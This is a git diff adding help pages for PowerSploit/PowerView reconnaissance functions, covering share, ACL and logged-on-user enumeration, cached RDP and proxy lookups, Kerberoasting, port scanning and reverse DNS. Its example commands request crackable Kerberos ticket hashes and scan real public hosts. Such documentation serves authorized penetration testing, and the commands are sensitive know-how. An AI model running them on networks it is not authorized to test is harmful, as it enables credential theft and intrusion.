+Get-NetShare -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-PathAcl.md b/docs/Recon/Get-PathAcl.md new file mode 100755 index 00000000..448212fd --- /dev/null +++ b/docs/Recon/Get-PathAcl.md @@ -0,0 +1,94 @@ +# Get-PathAcl + +## SYNOPSIS +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +## SYNTAX + +``` +Get-PathAcl [-Path] [[-Credential] ] +``` + +## DESCRIPTION +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. +If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-PathAcl "\\SERVER\Share\" +``` + +Returns ACLs for the given UNC share. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +gci .\test.txt | Get-PathAcl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\\\SERVER\Share\" -Credential $Cred + +## PARAMETERS + +### -Path +Specifies the local or remote path to enumerate the ACLs for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target path. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +One of more paths to enumerate ACLs for. + +## OUTPUTS + +### PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/Get-RegLoggedOn.md b/docs/Recon/Get-RegLoggedOn.md new file mode 100755 index 00000000..2fd6e091 --- /dev/null +++ b/docs/Recon/Get-RegLoggedOn.md @@ -0,0 +1,89 @@ +# Get-RegLoggedOn + +## SYNOPSIS +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +## SYNTAX + +``` +Get-RegLoggedOn [[-ComputerName] ] +``` + +## DESCRIPTION +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. +Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegLoggedOn +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-RegLoggedOn -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-RegLoggedOn +``` + +Returns users actively logged on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIProcess.md b/docs/Recon/Get-WMIProcess.md new file mode 100755 index 00000000..481dbb61 --- /dev/null +++ b/docs/Recon/Get-WMIProcess.md @@ -0,0 +1,80 @@ +# Get-WMIProcess + +## SYNOPSIS +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIProcess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIProcess -ComputerName WINDOWS1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +A PSCustomObject containing the remote process information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegCachedRDPConnection.md b/docs/Recon/Get-WMIRegCachedRDPConnection.md new file mode 100755 index 00000000..fe602283 --- /dev/null +++ b/docs/Recon/Get-WMIRegCachedRDPConnection.md @@ -0,0 +1,99 @@ +# Get-WMIRegCachedRDPConnection + +## SYNOPSIS +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegCachedRDPConnection [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegCachedRDPConnection +``` + +Returns the RDP connection client information for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local +``` + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegCachedRDPConnection +``` + +Returns cached RDP information for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegLastLoggedOn.md b/docs/Recon/Get-WMIRegLastLoggedOn.md new file mode 100755 index 00000000..bed39e03 --- /dev/null +++ b/docs/Recon/Get-WMIRegLastLoggedOn.md @@ -0,0 +1,98 @@ +# Get-WMIRegLastLoggedOn + +## SYNOPSIS +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegLastLoggedOn [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 +``` + +Returns the last user logged onto WINDOWS1 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegMountedDrive.md b/docs/Recon/Get-WMIRegMountedDrive.md new file mode 100755 index 00000000..353bcf0c --- /dev/null +++ b/docs/Recon/Get-WMIRegMountedDrive.md @@ -0,0 +1,97 @@ +# Get-WMIRegMountedDrive + +## SYNOPSIS +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegMountedDrive [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to enumerate recently mounted network drives. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local +``` + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegProxy.md b/docs/Recon/Get-WMIRegProxy.md new file mode 100755 index 00000000..b5fe9668 --- /dev/null +++ b/docs/Recon/Get-WMIRegProxy.md @@ -0,0 +1,93 @@ +# Get-WMIRegProxy + +## SYNOPSIS +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegProxy [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegProxy +``` + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Cred = Get-Credential "TESTLAB\administrator" +``` + +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +## PARAMETERS + +### -ComputerName +Specifies the system to enumerate proxy settings on. +Defaults to the local host. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +## OUTPUTS + +### PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Kerberoast.md b/docs/Recon/Invoke-Kerberoast.md new file mode 100755 index 00000000..edfb89bf --- /dev/null +++ b/docs/Recon/Invoke-Kerberoast.md @@ -0,0 +1,233 @@ +# Invoke-Kerberoast + +## SYNOPSIS +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +## SYNTAX + +``` +Invoke-Kerberoast [[-Identity] ] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat \. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Kerberoast | fl +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Kerberoast -Domain dev.testlab.local | fl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose | fl + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Portscan.md b/docs/Recon/Invoke-Portscan.md new file mode 100755 index 00000000..8e1ef273 --- /dev/null +++ b/docs/Recon/Invoke-Portscan.md @@ -0,0 +1,430 @@ +# Invoke-Portscan + +## SYNOPSIS +Simple portscan module + +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### cmdHosts +``` +Invoke-Portscan -Hosts [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +### fHosts +``` +Invoke-Portscan -HostFile [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +## DESCRIPTION +Does a simple port scan using regular sockets, based (pretty) loosely on nmap + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +``` + +Description +----------- +Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com + +### -------------------------- EXAMPLE 2 -------------------------- +``` +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +``` + +Description +----------- +Does a portscan of "webstersprodigy.net", and writes a greppable output file + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +``` + +Description +----------- +Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats + +## PARAMETERS + +### -Hosts +Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in + +```yaml +Type: String[] +Parameter Sets: cmdHosts +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -HostFile +Input hosts from file rather than commandline + +```yaml +Type: String +Parameter Sets: fHosts +Aliases: iL + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHosts +Exclude these comma seperated hosts + +```yaml +Type: String +Parameter Sets: (All) +Aliases: exclude + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ports +Include these comma seperated ports (can also be a range like 80-90) + +```yaml +Type: String +Parameter Sets: (All) +Aliases: p + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PortFile +Input ports from a file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: iP + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TopPorts +Include the x top ports - only goes to 1000, default is top 50 + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedPorts +Exclude these comma seperated ports + +```yaml +Type: String +Parameter Sets: (All) +Aliases: xPorts + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SkipDiscovery +Treat all hosts as online, skip host discovery + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Pn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PingOnly +Ping scan only (disable port scan) + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: sn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DiscoveryPorts +Comma separated ports used for host discovery. +-1 is a ping + +```yaml +Type: String +Parameter Sets: (All) +Aliases: PS + +Required: False +Position: Named +Default value: -1,445,80,443 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +number of max threads for the thread pool (per host) + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 100 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -nHosts +number of hosts to concurrently scan + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 25 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Timeout +Timeout time on a connection in miliseconds before port is declared filtered + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 2000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SleepTimer +Wait before thread checking, in miliseconds + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 500 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SyncFreq +How often (in terms of hosts) to sync threads and flush output + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 1024 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -T +\[0-5\] shortcut performance options. +Default is 3. +higher is more aggressive. +Sets (nhosts, threads,timeout) + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GrepOut +Greppable output file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oG + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XmlOut +output XML file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oX + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReadableOut +output file in 'readable' format + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oN + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllformatsOut +output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oA + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -noProgressMeter +Suppresses the progress meter + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -quiet +supresses returned output and don't store hosts in memory - useful for very large scans + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: q + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceOverwrite +Force Overwrite if output Files exist. +Otherwise it throws exception + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: F + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://webstersprodigy.net](http://webstersprodigy.net) + diff --git a/docs/Recon/Invoke-ReverseDnsLookup.md b/docs/Recon/Invoke-ReverseDnsLookup.md new file mode 100755 index 00000000..2c74e3c6 --- /dev/null +++ b/docs/Recon/Invoke-ReverseDnsLookup.md @@ -0,0 +1,106 @@ +# Invoke-ReverseDnsLookup + +## SYNOPSIS +Perform a reverse DNS lookup scan on a range of IP addresses. + +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReverseDnsLookup [-IpRange] +``` + +## DESCRIPTION +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. +This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ReverseDnsLookup 74.125.228.0/29 +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the CIDR range. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the IP range specified. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-Output "74.125.228.1,74.125.228.0/29" | 